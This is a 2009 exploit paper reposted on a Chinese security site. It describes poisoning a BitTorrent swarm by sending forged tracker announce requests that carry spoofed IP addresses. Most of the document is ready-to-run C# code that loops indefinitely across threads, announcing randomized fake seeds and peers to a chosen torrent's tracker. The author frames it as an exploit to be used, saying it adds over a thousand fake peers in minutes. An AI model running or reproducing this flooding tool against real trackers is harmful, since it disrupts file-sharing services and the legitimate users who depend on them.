首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Paper on poisoning a torrent's peer swarm with large numbers of fake peers, incl
来源:burningmace[at]gmail.com 作者:Burningmace 发布时间:2009-11-19  
=== Credits ===
Written by Burningmace.
Thanks to Blindkilla for helping me out.

=== Introduction ===
The BitTorrent protocol identifies peers using a tracker. Each peer announces itself to the tracker via HTTP.
Certain parameters in the announce request itself can be altered in order to fake the IP address of the peer.
This can be used to "poison" the torrent by adding thousands of fake peers.

=== The Principle ===
The announce works like this:
http://tracker.example.com/announce?info_hash=<hash>&peer_id=<id>&uploaded=0&downloaded=0&left=<left>&event=<event>&port=<port>&numwant=<n>&ip=<address>
Where:
	- <hash> is the infohash of the torrent, escaped.
	- <id> is a random 20 character id generated by the client to identify itself.
	- <left> is the number of bytes left to download. use 0 when seeding.
	- <event> is the type of announce you are issuing. use "completed" if you're seeding, or "started" if downloading.
	- <port> is the local port on which your BitTorrent client is accepting connecitons.
	- <n> is the number of peers you wish to fetch. keep this low for repeated multiple requests.
	- <address> is the IP address that you wish to be bound to.

The address parameter is normally used when users are behind a firewall or NAT router, but for most trackers
it can be set to absolutely anything - including a DNS. An example of a request would be the following:

http://tracker.example.com/announce?info_hash=%e6%8e%c7%d9%64%7a%d3%22%23%8c%e9%81%cb%aa%5a%24%fe%a5%2d%81&peer_id=01020304050607080901&uploaded=0&downloaded=0&left=0&event=completed&port=1234&numwant=5&ip=123.45.67.89

=== Exploiting ===
We can create a program that announces itself repeatedly to the tracker with fake IPs. To get the best out of
this exploit, announce yourself as both seeds and peers. With a broadband connection, you can often add over
a thousand fake peers to the swarm in less than 5 minutes.

=== Example Code ===

/*
 *
 * This C# code sends hundreds of announce requests per minute.
 *
 * I know you C fanboys are pulling you hair out right now, but I don't care. C# is the win, bitches.
 *
 */
using System;
using System.Collections.Generic;
using System.Text;
using System.Net;
using System.Threading;

namespace SeedFucker
{
    class Program
    {
        static void Main(string[] args)
        {
            // create a thread pool with 5 threads
            List<Thread> tp = new List<Thread>();
            for (int i = 0; i < 5; i++)
            {
                tp.Add(new Thread(TorrentThread));
                tp[i].Start();
                Thread.Sleep(10);
            }
            while (true)
            {
                Thread.Sleep(50);
            }
        }

        static void TorrentThread()
        {
            // create a web client with a "no cache" policy
            WebClient wc = new WebClient();
            wc.CachePolicy = new System.Net.Cache.RequestCachePolicy(System.Net.Cache.RequestCacheLevel.BypassCache);

            // the infohash of the torrent we want to poison
            string hash = "1d7e4cf69af1d88ba426572bfb98c4f603f5d2c1";

            // encode the hash
            string hashEncoded = "";
            for (int i = 0; i < 20; i++)
            {
                hashEncoded += "%" + hash[i * 2] + hash[(i * 2) + 1];
            }

            // enter the main loop
            while (true)
            {
                // generate a random IP address
                string ip = GenerateIP();
                // create a timestamp for display purposes
                string time = "[" + DateTime.Now.Hour.ToString().PadLeft(2, '0') + ":" + DateTime.Now.Minute.ToString().PadLeft(2, '0') + ":" + DateTime.Now.Second.ToString().PadLeft(2, '0') + "] ";

                // if completed == true then we're pretending to be a seed. otherwise pretend to be a peer
                bool completed = (RNG.Next(0, 3) == 0);
                string torrentEvent = (completed ? "completed" : "started");
		// pick a random size 
                int left = (completed ? 0 : RNG.Next(1024 * 1024 * 2, 1024 * 1024 * 1024));
                // create the url - change the announce url to whatever your particular torrent is using
                string url = "http://tracker.example.com/announce?info_hash=" + hashEncoded + "&peer_id=" + RNG.Next(1000000, 9999999).ToString() + RNG.Next(100000, 999999).ToString() + RNG.Next(1000000, 9999999).ToString() + "&port=" + RNG.Next(5000, 32000).ToString() + "&uploaded=0&downloaded=0&left=" + left.ToString() + "&event=" + torrentEvent + "&numwant=5&ip=" + ip;
                // attempt the announce
                try
                {
                    wc.DownloadData(url);
                    Console.WriteLine(time + "Sent tracker request: " + (completed ? "Seed" : "Peer") + " [" + ip + "]");
                }
                catch
                {
                }
            }
        }

        static string GenerateIP()
        {
            // generate an IP in the range [50-220].[10-100].[1-255].[1-255]
            return RNG.Next(50, 220).ToString() + "." + RNG.Next(10, 100).ToString() + "." + RNG.Next(1, 255).ToString() + "." + RNG.Next(1, 255).ToString();
        }
    }

    class RNG
    {
        private static Random _rng = new Random();

        public static int Next(int min, int max)
        {
            return _rng.Next(min, max);
        }
    }
}

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Adobe browser document ActiveX
·Baby Web Server version 2.7.2
·Avast 4.8.1351.0 antivirus asw
·Novell eDirectory HTTPSTK Logi
·Joomla 1.5.12 RCE via TinyMCE
·Icarus 2.0 (.pgn File) Univers
·KDE KDELibs 4.3.3 Remote Array
·Home FTP Server 'MKD' Command
·Cisco VPN Client 0day integer
·Avast 4.8.1356.0 antivirus asw
·Opera version 10.01 suffers fr
·Local DoS - Kaspersky 2010 9.0
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved